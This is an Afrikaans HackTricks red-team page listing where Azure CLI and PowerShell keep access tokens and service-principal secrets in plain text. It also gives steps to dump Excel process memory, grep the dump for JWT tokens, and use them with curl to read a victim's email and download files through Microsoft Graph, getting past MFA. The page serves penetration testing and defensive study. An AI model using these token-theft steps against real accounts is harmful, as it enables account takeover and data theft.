Az - Plaaslike Wolk Krediete

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Plaaslike Token Berging en Sekuriteitsoorwegings

Azure CLI (Opdraglyn Koppelvlak)

Tokens en sensitiewe data word plaaslik deur Azure CLI gestoor, wat sekuriteitskwessies opwerp:

  1. Toegangstokens: Gestoor in platte teks binne accessTokens.json geleë by C:\Users\<username>\.Azure.
  2. Subskripsie-inligting: azureProfile.json, in dieselfde gids, hou subskripsiedetails.
  3. Loglêers: Die ErrorRecords-map binne .azure mag logs bevat met blootgestelde kredensiale, soos:
  • Uitgevoerde opdragte met kredensiale ingebed.
  • URL’s wat met tokens toeganklik gemaak is, wat moontlik sensitiewe inligting onthul.

Azure PowerShell

Azure PowerShell stoor ook tokens en sensitiewe data, wat plaaslik toeganklik is:

  1. Toegangstokens: TokenCache.dat, geleë by C:\Users\<username>\.Azure, stoor toegangstokens in platte teks.
  2. Diens Prinsipaal Geheimen: Hierdie word ongeënkripteer in AzureRmContext.json gestoor.
  3. Token Stoor Funksie: Gebruikers het die vermoë om tokens te behou met die Save-AzContext opdrag, wat versigtig gebruik moet word om ongeoorloofde toegang te voorkom.

Outomatiese Gereedskap om hulle te vind

Tokens in geheue

Soos verduidelik in hierdie video, kan sommige Microsoft sagteware wat met die wolk gesinkroniseer is (Excel, Teams…) toegangstokens in duidelike teks in geheue stoor. Dus kan net dumping van die geheue van die proses en grepping vir JWT tokens jou toegang gee tot verskeie hulpbronne van die slagoffer in die wolk, wat MFA omseil.

Stappe:

  1. Dump die excel prosesse wat gesinkroniseer is met die EntraID gebruiker met jou gunsteling gereedskap.
  2. Voer uit: string excel.dmp | grep 'eyJ0' en vind verskeie tokens in die uitvoer.
  3. Vind die tokens wat jou die meeste interesseer en voer gereedskap oor hulle uit:
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Let wel dat hierdie tipe toegangstokens ook in ander prosesse gevind kan word.

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks